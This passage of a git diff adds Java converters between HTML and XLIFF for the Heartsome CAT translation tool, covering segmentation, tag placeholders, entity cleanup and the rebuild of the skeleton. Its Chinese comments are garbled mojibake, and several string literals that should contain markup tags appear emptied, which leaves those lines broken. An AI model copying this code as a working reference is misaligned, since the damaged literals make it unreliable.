//$NON-NLS-1$ //$NON-NLS-2$ + String pure = removePH(segment); + if (pure.trim().equals("")) { //$NON-NLS-1$ + writeSkeleton(phContent(segment)); + return; + } + + if (segment.trim().equals("")) { //$NON-NLS-1$ + writeSkeleton(segment); + return; + } + + first = ""; //$NON-NLS-1$ + last = ""; //$NON-NLS-1$ + + segment = segmentCleanup(segment); + + writeSkeleton(first); + tagId = 0; + writeString(" \n" //$NON-NLS-1$ + + " "); //$NON-NLS-1$ + if (keepFormat) { + writeString(segment); + } else { + writeString(normalize(segment)); + } + writeString("\n \n"); //$NON-NLS-1$ + + writeSkeleton("%%%" + segId++ + "%%%\n" + last); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * Segment cleanup. + * @param segment + * the segment + * @return the string + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String segmentCleanup(String segment) throws SAXException, IOException { + ByteArrayInputStream stream = new ByteArrayInputStream(("" + segment + "").getBytes("UTF-8")); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + SAXBuilder b = new SAXBuilder(); + Document d = b.build(stream); + Element e = d.getRootElement(); + List content = e.getContent(); + Iterator it = content.iterator(); + int count = 0; + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.ELEMENT_NODE) { + count++; + } + } + + if (count == 1) { + Node n = content.get(0); + if (n.getNodeType() == Node.ELEMENT_NODE) { + first = phContent(new Element(n).toString()); + content.remove(0); + } else { + n = content.get(content.size() - 1); + if (n.getNodeType() == Node.ELEMENT_NODE) { + last = phContent(new Element(n).toString()); + content.remove(content.size() - 1); + } + } + } + + if (count == 2) { + Node n = content.get(0); + Node s = content.get(content.size() - 1); + if (n.getNodeType() == Node.ELEMENT_NODE && s.getNodeType() == Node.ELEMENT_NODE) { + if (n.getNodeType() == Node.ELEMENT_NODE) { + first = new Element(n).getText(); + content.remove(n); + last = new Element(s).getText(); + content.remove(s); + } + } + } + e.setContent(content); + String es = e.toString(); + return es.substring(3, es.length() - 4); + } + + /** + * Ph content. + * @param segment + * the segment + * @return the string + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String phContent(String segment) throws SAXException, IOException { + ByteArrayInputStream stream = new ByteArrayInputStream(("" + segment + "").getBytes("UTF-8")); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + SAXBuilder b = new SAXBuilder(); + Document d = b.build(stream); + Element e = d.getRootElement(); + List content = e.getContent(); + Iterator it = content.iterator(); + String result = ""; //$NON-NLS-1$ + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.ELEMENT_NODE) { + result = result + new Element(n).getText(); + } + if (n.getNodeType() == Node.TEXT_NODE) { + result = result + n.getNodeValue(); + } + } + return result; + } + + /** + * Removes the ph. + * @param segment + * the segment + * @return the string + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String removePH(String segment) throws SAXException, IOException { + ByteArrayInputStream stream = new ByteArrayInputStream(("" + segment + "").getBytes("UTF-8")); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + SAXBuilder b = new SAXBuilder(); + Document d = b.build(stream); + Element e = d.getRootElement(); + List content = e.getContent(); + Iterator it = content.iterator(); + String result = ""; //$NON-NLS-1$ + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + result = result + n.getNodeValue(); + } + } + return result; + } + + /** + * Adds the tags. + * @param src + * the src + * @return the string + */ + private String addTags(String src) { + String result = ""; //$NON-NLS-1$ + int start = src.indexOf("<"); //$NON-NLS-1$ + int end = src.indexOf(">"); //$NON-NLS-1$ + + while (start != -1) { + if (start > 0) { + result = result + cleanString(src.substring(0, start)); + src = src.substring(start); + start = src.indexOf("<"); //$NON-NLS-1$ + end = src.indexOf(">"); //$NON-NLS-1$ + } + String element = src.substring(start, end + 1); + // check if we don't fall in a trap + // from Adobe GoLive + int errors = element.indexOf("<", 1); //$NON-NLS-1$ + if (errors != -1) { + // there is a "<" inside quotes + // must move manually until the end + // of the element avoiding angle brackets + // within quotes + boolean exit = false; + boolean inQuotes = false; + StringBuffer buffer = new StringBuffer(); + buffer.append("<"); //$NON-NLS-1$ + int k = 0; + while (!exit) { + k++; + char c = src.charAt(start + k); + if (c == '\"') { + inQuotes = !inQuotes; + } + buffer.append(c); + if (!inQuotes && c == '>') { + exit = true; + } + } + element = buffer.toString(); + end = start + buffer.toString().length(); + start = end; + } + + String tagged = tag(element); + result = result + tagged; + + src = src.substring(end + 1); + + start = src.indexOf("<"); //$NON-NLS-1$ + end = src.indexOf(">"); //$NON-NLS-1$ + } + result = result + cleanString(src); + return result; + } + + /** + * Tag. + * @param element + * the element + * @return the string + */ + private String tag(String element) { + String result = ""; //$NON-NLS-1$ + String type = getNodeType(element); + if (translatableAttributes.containsKey(type)) { + result = extractAttributes(type, element); + if (result.indexOf("\u2029") == -1) { //$NON-NLS-1$ + String ctype = ""; //$NON-NLS-1$ + if (ctypes.containsKey(type)) { + ctype = " ctype=\"" + ctypes.get(type) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ + } + result = "" //$NON-NLS-1$ + + cleanString(element) + ""; //$NON-NLS-1$ + } + } else { + String ctype = ""; //$NON-NLS-1$ + if (ctypes.containsKey(type)) { + ctype = " ctype=\"" + ctypes.get(type) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ + } + result = "" //$NON-NLS-1$ + + cleanString(element) + ""; //$NON-NLS-1$ + } + return result; + } + + /** + * Clean string. + * @param s + * the s + * @return the string + */ + private String cleanString(String s) { + int control = s.indexOf("&"); //$NON-NLS-1$ + while (control != -1) { + int sc = s.indexOf(";", control); //$NON-NLS-1$ + if (sc == -1) { + // no semicolon, it's not an entity + s = s.substring(0, control) + "&" + s.substring(control + 1); //$NON-NLS-1$ + } else { + // may be an entity + String candidate = s.substring(control, sc) + ";"; //$NON-NLS-1$ + if (!(candidate.equals("&") || candidate.equals(">") || candidate.equals("<"))) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + String entity = entities.get(candidate); + if (entity != null) { + s = s.substring(0, control) + entity + s.substring(sc + 1); + } else { + s = s.substring(0, control) + "%%%ph id=\"" //$NON-NLS-1$ + + tagId++ + "\"%%%&" //$NON-NLS-1$ + + candidate.substring(1) + "%%%/ph%%%" //$NON-NLS-1$ + + s.substring(sc + 1); + } + } + } + if (control < s.length()) { + control++; + } + control = s.indexOf("&", control); //$NON-NLS-1$ + } + + control = s.indexOf("<"); //$NON-NLS-1$ + while (control != -1) { + s = s.substring(0, control) + "<" + s.substring(control + 1); //$NON-NLS-1$ + if (control < s.length()) { + control++; + } + control = s.indexOf("<", control); //$NON-NLS-1$ + } + + control = s.indexOf(">"); //$NON-NLS-1$ + while (control != -1) { + s = s.substring(0, control) + ">" + s.substring(control + 1); //$NON-NLS-1$ + if (control < s.length()) { + control++; + } + control = s.indexOf(">", control); //$NON-NLS-1$ + } + s = s.replaceAll("%%%/ph%%%", "
    "); //$NON-NLS-1$ //$NON-NLS-2$ + s = s.replaceAll("%%%ph", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + return s; + } + + /** + * Write skeleton. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSkeleton(String string) throws IOException { + skeleton.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + output.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * Checks if is translateable. + * @param string + * the string + * @return true, if is translateable + */ + private boolean isTranslateable(String string) { + + keepFormat = false; + + // + // remove CDATA sections + // + int startComment = string.indexOf(""); //$NON-NLS-1$ + while (startComment != -1 || endComment != -1) { + if (startComment != -1) { + if (endComment == -1) { + string = string.substring(0, startComment); + } else { + if (startComment < endComment) { + string = string.substring(0, startComment) + string.substring(endComment + 3); + } else { + string = string.substring(endComment + 3, startComment); + } + } + } else { + if (endComment != -1) { + string = string.substring(endComment + 3); + } + } + startComment = string.indexOf(""); //$NON-NLS-1$ + } + // + // remove IGNORE sections + // + startComment = string.indexOf(""); //$NON-NLS-1$ + while (startComment != -1 || endComment != -1) { + if (startComment != -1) { + if (endComment == -1) { + string = string.substring(0, startComment); + } else { + if (startComment < endComment) { + string = string.substring(0, startComment) + string.substring(endComment + 3); + } else { + string = string.substring(endComment + 3, startComment); + } + } + } else { + if (endComment != -1) { + string = string.substring(endComment + 3); + } + } + startComment = string.indexOf(""); //$NON-NLS-1$ + } + // + // remove IGNORE sections + // + startComment = string.indexOf(""); //$NON-NLS-1$ + while (startComment != -1 || endComment != -1) { + if (startComment != -1) { + if (endComment == -1) { + string = string.substring(0, startComment); + } else { + if (startComment < endComment) { + string = string.substring(0, startComment) + string.substring(endComment + 3); + } else { + string = string.substring(endComment + 3, startComment); + } + } + } else { + if (endComment != -1) { + string = string.substring(endComment + 3); + } + } + startComment = string.indexOf(""); //$NON-NLS-1$ + } + // + // remove XML style comments + // + startComment = string.indexOf(""); //$NON-NLS-1$ + while (startComment != -1 || endComment != -1) { + if (startComment != -1) { + if (endComment == -1) { + string = string.substring(0, startComment); + } else { + if (startComment < endComment) { + string = string.substring(0, startComment) + string.substring(endComment + 3); + } else { + string = string.substring(endComment + 3, startComment); + } + } + } else { + if (endComment != -1) { + string = string.substring(endComment + 3); + } + } + startComment = string.indexOf(""); //$NON-NLS-1$ + } + // + // remove Processing Instruction + // + startComment = string.indexOf(""); //$NON-NLS-1$ + while (startComment != -1 || endComment != -1) { + if (startComment != -1) { + if (endComment == -1) { + string = string.substring(0, startComment); + } else { + string = string.substring(0, startComment) + string.substring(endComment + 2); + } + } else { + if (endComment != -1) { + string = string.substring(endComment + 2); + } + } + startComment = string.indexOf(""); //$NON-NLS-1$ + } + // + // remove C style comments + // + startComment = string.indexOf("/*"); //$NON-NLS-1$ + endComment = string.indexOf("*/"); //$NON-NLS-1$ + while (startComment != -1 || endComment != -1) { + if (startComment != -1) { + if (endComment == -1) { + string = string.substring(0, startComment); + } else { + if (startComment < endComment) { + string = string.substring(0, startComment) + string.substring(endComment + 2); + } else { + string = string.substring(endComment + 2, startComment); + } + } + } else { + if (endComment != -1) { + string = string.substring(endComment + 2); + } + } + startComment = string.indexOf("/*"); //$NON-NLS-1$ + endComment = string.indexOf("*/"); //$NON-NLS-1$ + } + // + // Start checking + // + int start = string.indexOf("<"); //$NON-NLS-1$ + int end = string.indexOf(">"); //$NON-NLS-1$ + + String type; + String text = ""; //$NON-NLS-1$ + + while (start != -1) { + if (start > 0) { + text = text + cleanString(string.substring(0, start)); + string = string.substring(start); + start = string.indexOf("<"); //$NON-NLS-1$ + end = string.indexOf(">"); //$NON-NLS-1$ + } + type = getNodeType(string.substring(start, end)); + keepFormat = keepFormating.containsKey(type); + + if (type.equals("script") || type.equals("style")) { //$NON-NLS-1$ //$NON-NLS-2$ + return false; + } + + // check for translatable attributes + if (translatableAttributes.containsKey(type)) { + return true; + } + if (type.startsWith("/")) { //$NON-NLS-1$ + if (translatableAttributes.containsKey(type.substring(1))) { + return true; + } + } + if (end < string.length()) { + string = string.substring(end + 1); + } else { + string = string.substring(end); + } + start = string.indexOf("<"); //$NON-NLS-1$ + end = string.indexOf(">"); //$NON-NLS-1$ + } + + text = text + cleanString(string); + + // look for non-white space + + for (int i = 0; i < text.length(); i++) { + char c = text.charAt(i); + if (c == ' ' || c == '\n' || c == '\f' || c == '\t' || c == '\r' || c == '\u00A0' || c == '\u2007' + || c == '\u202F' || c == '\uFEFF' || c == '>') { + continue; + } + return true; + } + + return false; + } + + /** + * Extract attributes. + * @param type + * the type + * @param element + * the element + * @return the string + */ + private String extractAttributes(String type, String element) { + + String ctype = ""; //$NON-NLS-1$ + if (ctypes.containsKey(type)) { + ctype = " ctype=\"" + ctypes.get(type) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ + } + String result = ""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + element = cleanString(element); + + Vector v = translatableAttributes.get(type); + + StringTokenizer tokenizer = new StringTokenizer(element, "&= \t\n\r\f/", true); //$NON-NLS-1$ + while (tokenizer.hasMoreTokens()) { + String token = tokenizer.nextToken(); + if (!v.contains(token.toLowerCase())) { + result = result + token; + } else { + result = result + token; + String s = tokenizer.nextToken(); + while (s.equals("=") || s.equals(" ")) { //$NON-NLS-1$ //$NON-NLS-2$ + result = result + s; + s = tokenizer.nextToken(); + } + // s contains the first word of the atttribute + if ((s.startsWith("\"") && s.endsWith("\"") //$NON-NLS-1$ //$NON-NLS-2$ + || s.startsWith("'") && s.endsWith("'")) //$NON-NLS-1$ //$NON-NLS-2$ + && s.length() > 1) { + // the value is one word and it is quoted + result = result + s.substring(0, 1) + "\u2029" //$NON-NLS-1$ + + s.substring(1, s.length() - 1) + "\u2029" //$NON-NLS-1$ + + s.substring(s.length() - 1); + } else { + if (s.startsWith("\"") || s.startsWith("'")) { //$NON-NLS-1$ //$NON-NLS-2$ + // attribute value is quoted, but it has more than + // one + // word + String quote = s.substring(0, 1); + result = result + s.substring(0, 1) + "\u2029" + s.substring(1); //$NON-NLS-1$ + s = tokenizer.nextToken(); + do { + result = result + s; + s = tokenizer.nextToken(); + } while (s.indexOf(quote) == -1); + String left = s.substring(0, s.indexOf(quote)); + String right = s.substring(s.indexOf(quote)); + result = result + left + "\u2029" + right; //$NON-NLS-1$ //$NON-NLS-2$ + } else { + // attribute is not quoted, it can only be one word + result = result + "\u2029" + s + "\u2029"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + } + } + } + result = result + ""; //$NON-NLS-1$ + return result; + } + + /** + * Builds the tables. + * @param iniFile + * the ini file + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws ParserConfigurationException + * the parser configuration exception + */ + private void buildTables(String iniFile, IProgressMonitor monitor) throws SAXException, IOException, + ParserConfigurationException { + + SAXBuilder builder = new SAXBuilder(); + Catalogue cat = new Catalogue(catalogue); + builder.setEntityResolver(cat); + Document doc = builder.build(iniFile); + Element root = doc.getRootElement(); + List tags = root.getChildren("tag"); //$NON-NLS-1$ + + startsSegment = new Hashtable(); + translatableAttributes = new Hashtable>(); + entities = new Hashtable(); + ctypes = new Hashtable(); + keepFormating = new Hashtable(); + + int size = tags.size(); + monitor.beginTask(Messages.getString("html.Html2Xliff.task3"), size); + monitor.subTask(""); + Iterator i = tags.iterator(); + while (i.hasNext()) { + if (monitor.isCanceled()) { + // 用户å–消æ“作 + throw new OperationCanceledException(Messages.getString("html.cancel")); + } + monitor.worked(1); + Element t = i.next(); + if (t.getAttributeValue("hard-break", "inline").equals("segment")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + startsSegment.put(t.getText(), "yes"); //$NON-NLS-1$ + } + if (t.getAttributeValue("keep-format", "no").equals("yes")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + keepFormating.put(t.getText(), "yes"); //$NON-NLS-1$ + } + String attributes = t.getAttributeValue("attributes", ""); //$NON-NLS-1$ //$NON-NLS-2$ + if (!attributes.equals("")) { //$NON-NLS-1$ + StringTokenizer tokenizer = new StringTokenizer(attributes, ";"); //$NON-NLS-1$ + int count = tokenizer.countTokens(); + Vector v = new Vector(count); + for (int j = 0; j < count; j++) { + v.add(tokenizer.nextToken()); + } + translatableAttributes.put(t.getText(), v); + } + String ctype = t.getAttributeValue("ctype", ""); //$NON-NLS-1$ //$NON-NLS-2$ + if (!ctype.equals("")) { //$NON-NLS-1$ + ctypes.put(t.getText(), ctype); + } + t = null; + } + tags = null; + + List ents = root.getChildren("entity"); //$NON-NLS-1$ + Iterator it = ents.iterator(); + while (it.hasNext()) { + Element e = it.next(); + entities.put("&" + e.getAttributeValue("name") + ";", e.getText()); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + + root = null; + doc = null; + builder = null; + monitor.done(); + } + + /** + * Builds the list. + * @param file + * the file + * @throws Exception + * the exception + */ + private void buildList(String file, IProgressMonitor monitor) throws Exception { + monitor.beginTask(Messages.getString("html.Html2Xliff.task4"), IProgressMonitor.UNKNOWN); + monitor.subTask(""); + + segments = new ArrayList(); + int start = file.indexOf("<"); //$NON-NLS-1$ + int end = file.indexOf(">"); //$NON-NLS-1$ + String type; + String text = ""; //$NON-NLS-1$ + if (start > 0) { + segments.add(file.substring(0, start)); + file = file.substring(start); + start = file.indexOf("<"); //$NON-NLS-1$ + end = file.indexOf(">"); //$NON-NLS-1$ + } + // 由于 HTML 中å¯èƒ½å­˜åœ¨è¯¸å¦‚:更多>> è¿™ç§åŒ…å«è½¬ä¹‰å­—符的文本,因此使用下é¢çš„表达å¼åŒ¹é… HTML 标记。 + Pattern pattern = Pattern.compile("<[^<>]+>"); + // 记录 text 在替æ¢ä¹‹å‰çš„长度,text è¦å°† <, > 替æ¢æˆ <, > + int len = 0; + while (start != -1) { + if (monitor.isCanceled()) { + // 用户å–消æ“作 + throw new OperationCanceledException(Messages.getString("html.cancel")); + } + if (file.substring(start, start + 3).equals("") + 2; //$NON-NLS-1$ + } + if (end < start || end < 0 || start < 0) { + throw new Exception(Messages.getString("html.Html2Xliff.msg2")); //$NON-NLS-1$ + } + String element = file.substring(start, end + 1); + + // check if the element is OK or has strange stuff + // from Adobe GoLive 5 + int errors = element.indexOf("<", 1); //$NON-NLS-1$ + if (errors != -1 && !element.startsWith("') { + exit = true; + } + } + element = buffer.toString(); + end = start + buffer.toString().length(); + start = end; + } + + type = getNodeType(element); + + if (type.equals("![INCLUDE[") || type.equals("![IGNORE[") || type.equals("![CDATA[")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + // it's an SGML section, send it to skeleton + // and keep looking for segments + segments.add(text); + text = ""; //$NON-NLS-1$ + len = 0; + end = file.indexOf("]]>"); //$NON-NLS-1$ + segments.add(file.substring(start, end + 3)); + file = file.substring(end + 3); + start = file.indexOf("<"); //$NON-NLS-1$ + end = file.indexOf(">"); //$NON-NLS-1$ + if (start != -1) { + text = file.substring(0, start); + len = text.length(); + } + continue; + } + if (startsSegment.containsKey(type)) { + segments.add(text); + file = file.substring(len); + start = start - len; + end = end - len; + text = ""; //$NON-NLS-1$ + len = text.length(); + } + if (type.startsWith("/") && startsSegment.containsKey(type.substring(1))) { //$NON-NLS-1$ + segments.add(text); + file = file.substring(len); + start = start - len; + end = end - len; + text = ""; //$NON-NLS-1$ + len = text.length(); + } + if (type.equals("script") || type.equals("style")) { //$NON-NLS-1$ //$NON-NLS-2$ + // send the whole element to the list + segments.add(text); + file = file.substring(len); + text = ""; //$NON-NLS-1$ + len = text.length(); + if (!element.endsWith("/>")) { //$NON-NLS-1$ + end = file.toLowerCase().indexOf("/" + type + ">"); //$NON-NLS-1$ //$NON-NLS-2$ + String script = file.substring(0, end + 2 + type.length()); + if (script.indexOf("") == -1) { //$NON-NLS-1$ //$NON-NLS-2$ + // there are nested scripts inside this one + end = file.toLowerCase().indexOf("/" + type + ">", file.indexOf("-->") + 3); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + script = file.substring(0, end + 2 + type.length()); + } + segments.add(script); + file = file.substring(end + 2 + type.length()); + } else { + segments.add(element); + file = file.substring(element.length()); + } + + start = file.indexOf("<"); //$NON-NLS-1$ + end = file.indexOf(">"); //$NON-NLS-1$ + if (start != -1) { + text = file.substring(0, start); + len = text.length(); + } + continue; + } + if (type.equals("!--")) { //$NON-NLS-1$ + // it's a comment, send it to skeleton + // and keep looking for segments + segments.add(text); + file = file.substring(len); + text = ""; //$NON-NLS-1$ + len = text.length(); + end = file.indexOf("-->"); //$NON-NLS-1$ + String comment = file.substring(0, end + 3); + segments.add(comment); + file = file.substring(end + 3); + start = file.indexOf("<"); //$NON-NLS-1$ + end = file.indexOf(">"); //$NON-NLS-1$ + if (start != -1) { + text = file.substring(0, start); + len = text.length(); + } + continue; + } + + text = text + element; + len += element.length(); + + if (end < file.length()) { // there may be text to extract + Matcher matcher = pattern.matcher(file); + int startIndex = 0; + while (matcher.find()) { + startIndex = matcher.start(); + if (startIndex > end) { + break; + } + } + if (startIndex > end) { + String strTmpText = file.substring(end + 1, startIndex); + len += strTmpText.length(); + strTmpText = strTmpText.replaceAll("<", "<"); + strTmpText = strTmpText.replaceAll(">", ">"); + text += strTmpText; + } + } + + Matcher matcher = pattern.matcher(file); + int start2 = start; + while (matcher.find()) { + start = matcher.start(); + end = matcher.end(); + if (start > start2) { + break; + } + } + end--; + if (end > file.length()) { + end = file.length(); + } + if (start <= start2) { + start = -1; + } + } + segments.add(text); + monitor.done(); + } + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/Xliff2Html.java b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/Xliff2Html.java new file mode 100644 index 0000000..b2de980 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.html/src/net/heartsome/cat/converter/html/Xliff2Html.java @@ -0,0 +1,514 @@ +/** + * Xliff2Html.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.html; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.html.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class Xliff2Html. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Xliff2Html implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "html"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("html.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to Html Conveter"; + + /** + * (non-Javadoc). + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2HtmlImpl converter = new Xliff2HtmlImpl(); + // 需è¦æ·»åŠ æŒ‡å®š ini file + String iniDir = args.get(Converter.ATTR_INIDIR); + String iniFile = iniDir + System.getProperty("file.separator") + "init_html.xml"; + args.put(Converter.ATTR_INI_FILE, iniFile); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc). + * @return the name + * @see net.heartsome.cat.converter.Converter#getName() + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc). + * @return the type + * @see net.heartsome.cat.converter.Converter#getType() + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc). + * @return the type name + * @see net.heartsome.cat.converter.Converter#getTypeName() + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2HtmlImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2HtmlImpl { + + /** The input. */ + private InputStreamReader input; + + /** The buffer. */ + private BufferedReader buffer; + + /** The skl file. */ + private String sklFile; + + /** The xliff file. */ + private String xliffFile; + + /** The line. */ + private String line; + + /** The segments. */ + private Hashtable segments; + + /** The output. */ + private FileOutputStream output; + + /** The encoding. */ + private String encoding; + + /** The entities. */ + private Hashtable entities; + + /** The catalogue. */ + private Catalogue catalogue; + + // 计算替æ¢è¿›åº¦çš„对象 + private CalculateProcessedBytes cpb; + + // 替æ¢è¿‡ç¨‹çš„进度监视器 + private IProgressMonitor replaceMonitor; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + + // 在转æ¢è¿‡ç¨‹ä¸­ï¼Œè®°å½•è½¬æ¢çš„ç›¸å…³ä¿¡æ¯ + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + + Map result = new HashMap(); + + sklFile = params.get(Converter.ATTR_SKELETON_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + String iniFile = params.get(Converter.ATTR_INI_FILE); + String catalogueFile = params.get(Converter.ATTR_CATALOGUE); + String outputFile = params.get(Converter.ATTR_TARGET_FILE); + + String attrIsPreviewMode = params.get(Converter.ATTR_IS_PREVIEW_MODE); + /* 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + boolean isPreviewMode = attrIsPreviewMode != null && attrIsPreviewMode.equals(Converter.TRUE); + + if (iniFile == null || "".equals(iniFile)) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("html.Xliff2Html.msg1")); + } + try { + infoLogger.logConversionFileInfo(catalogueFile, iniFile, xliffFile, sklFile); + + // ç»è¿‡å¯¹ä¸åŒå¤§å°çš„文件进行测试åŽï¼Œå¯ä»¥å¯¹è½¬æ¢è¿‡ç¨‹è¿›è¡Œå¦‚下划分。把整个转æ¢è¿‡ç¨‹åˆ†ä¸º 10,其中加载 catalogue æ–‡ä»¶å  2,加载 iniæ–‡ä»¶å  1,加载 xliff æ–‡ä»¶å  3,替æ¢è¿‡ç¨‹å  4。 + monitor.beginTask("", 10); + + monitor.subTask(Messages.getString("html.Xliff2Html.task2")); + + infoLogger.startLoadingCatalogueFile(); + + if (catalogueFile != null) { + catalogue = new Catalogue(catalogueFile); + } + + infoLogger.endLoadingCatalogueFile(); + + monitor.worked(2); + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("html.cancel")); + } + + monitor.subTask(Messages.getString("html.Xliff2Html.task3")); + infoLogger.startLoadingIniFile(); + + loadEntities(iniFile); + + infoLogger.endLoadingIniFile(); + monitor.worked(1); + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("html.cancel")); + } + + infoLogger.startLoadingXliffFile(); + + output = new FileOutputStream(outputFile); + loadSegments(Progress.getSubMonitor(monitor, 3)); + + infoLogger.endLoadingXliffFile(); + + infoLogger.startReplacingSegmentSymbol(); + + try { + // åˆå§‹åŒ–计算替æ¢è¿›åº¦çš„对象 + cpb = ConverterUtils.getCalculateProcessedBytes(sklFile); + replaceMonitor = Progress.getSubMonitor(monitor, 4); + replaceMonitor.beginTask(Messages.getString("html.Xliff2Html.task4"), cpb.getTotalTask()); + replaceMonitor.subTask(""); + + input = new InputStreamReader(new FileInputStream(sklFile), "UTF-8"); //$NON-NLS-1$ + buffer = new BufferedReader(input); + line = buffer.readLine(); + while (line != null) { + line = line + "\n"; //$NON-NLS-1$ + + if (line.indexOf("%%%") != -1) { //$NON-NLS-1$ + // + // contains translatable text + // + int index = line.indexOf("%%%"); //$NON-NLS-1$ + while (index != -1) { + String start = line.substring(0, index); + writeString(start); + line = line.substring(index + 3); + String code = line.substring(0, line.indexOf("%%%")); //$NON-NLS-1$ + line = line.substring(line.indexOf("%%%\n") + 4); //$NON-NLS-1$ + Element segment = segments.get(code); + if (segment != null) { + // 替æ¢å­—符 + String replaceCode = code; + + Element target = segment.getChild("target"); //$NON-NLS-1$ + Element source = segment.getChild("source"); //$NON-NLS-1$ + if (target != null) { + String tgtStr = extractText(target); + if (isPreviewMode || !"".equals(tgtStr.trim())) { + writeString(tgtStr, true, replaceCode); + } else { + writeString(extractText(source), true, replaceCode); + } + } else { + writeString(extractText(source), true, replaceCode); + } + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + MessageFormat.format(Messages.getString("html.Xliff2Html.msg2"), code)); + } + + index = line.indexOf("%%%"); //$NON-NLS-1$ + if (index == -1) { + writeString(line); + } + } // end while + } else { + // + // non translatable portion + // + writeString(line); + } + + line = buffer.readLine(); + } + } finally { + // ä¿è¯ monitor çš„ done 方法被调用 + replaceMonitor.done(); + } + + infoLogger.endReplacingSegmentSymbol(); + + result.put(Converter.ATTR_TARGET_FILE, outputFile); + + infoLogger.endConversion(); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("html.Xliff2Html.msg3"), e); + } finally { + if (output != null) { + try { + output.close(); + } catch (IOException e) { + // ignore the exception + } + } + monitor.done(); + } + return result; + } + + /** + * Extract text. + * @param target + * the target + * @return the string + */ + private String extractText(Element target) { + String result = ""; //$NON-NLS-1$ + List content = target.getContent(); + Iterator i = content.iterator(); + while (i.hasNext()) { + Node n = i.next(); + switch (n.getNodeType()) { + case Node.ELEMENT_NODE: + Element e = new Element(n); + result = result + extractText(e); + break; + case Node.TEXT_NODE: + result = result + n.getNodeValue(); + break; + default: + break; + } + } + return addEntities(result); + } + + /** + * Load entities. + * 